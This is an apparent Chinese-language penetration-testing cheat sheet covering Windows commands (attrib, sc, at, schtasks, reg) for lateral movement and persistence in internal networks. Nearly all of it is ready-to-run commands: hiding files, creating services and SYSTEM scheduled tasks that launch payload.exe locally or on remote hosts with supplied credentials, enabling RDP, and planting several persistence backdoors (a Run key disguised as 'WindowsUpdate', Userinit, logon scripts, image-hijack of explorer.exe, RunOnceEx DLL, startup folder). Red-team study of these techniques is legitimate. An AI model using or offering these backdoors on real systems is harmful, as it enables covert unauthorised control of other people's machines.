attrib/sc/at/schtasks/reg

attrib,sc,at,schtasks,reg都属于windows常见命令，在内网渗透中或多或少都有一定的作用

attrib

隐藏文件

attrib 文件路径 +h +s

显示隐藏文件‘

attrib 文件路径 -h -s

sc

创建服务

sc create "service_name" binpath= "cmd.exe /c start C:\Windows\Temp\payload.exe" start= auto

设置服务启动模式

net config "service_name" start= [auto|disable|demand]

删除指定服务

sc delete service_name

查询已安装的服务

sc query
sc query type= service

at

at属于计划任务的一种，at命令是基于net use之上的，因此必须存在net use的远程连接，才能正常使用net use命令，目前at命令已被弃用

查看计划任务列表

at \\ip

添加计划任务

at 12:32 "C:\Windows\Temp\payload.exe"

at \\ip 12:34 "C:\Windows\Temp\payload.exe"

删除计划任务

at \\ip ID /delete

schtasks

schtasks是计划任务命令，用于替代at命令

创建远程主机的计划任务

schtasks /create /s ip /u [domain\]username /p "password" /tn task_name /sc onstart /tr "cmd.exe /c ipconfig /all > C:\1.txt" /ru system /f

创建本地计划任务

schtasks /create /tn task_name /tr "C:\Windows\Temp\payload.exe" /sc minute /mo 1 /ru system /f

查询远程主机的计划任务

schtasks /query /s ip /u [domain\]username /p "password" | findstr task_name

运行计划任务

schtasks /run /s ip /u [domain\]username /p "password" /i /tn task_name

删除计划任务

schtasks /delete /s ip /u [domain\]username /p "password" /tn task_name /f

reg

查看远程桌面是否开启，0表示开启，1表示关闭

REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections

查看远程桌面的端口号

REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber

开启远程桌面

REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 00000000 /f

REG ADD "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x00000d3d /f

添加开机自启后门

reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v WindowsUpdate /t REG_SZ /d "C:\Windows\Temp\payload.exe" /f

删除开机自启后门

reg delete HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v WindowsUpdate /f

添加userinit注册表后门

reg add HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon /v Userinit /t REG_SZ /d "C:\Windows\System32\userinit.exe,powershell代码" /f

删除userinit注册表后门

reg delete HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon /v Userinit

添加Logon Scripts后门

reg add HKCU\Environment /v UserInitMprLogonScript /t REG_SZ /d "C:\Windows\Temp\payload.bat" /f

删除Logon Scripts后门

reg delete HKCU\Environment /v UserInitMprLogonScript

映像劫持后门

reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\explorer.exe" /v GlobalFlag /t REG_DWORD /d 512

reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\explorer.exe" /v ReportingMode /t REG_DWORD /d 1

reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\explorer.exe" /v MonitorProcess /d "C:\Users\Administrator\Desktop\payload.exe"

添加RunOnceEx后门

reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx\0001\Depend /v 1 /d "C:\Windows\Temp\evil.dll"

添加自启目录后门

copy "C:\Windows\Temp\payload.exe" "C:\Users\用户名\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WindowsUpdate.exe" /y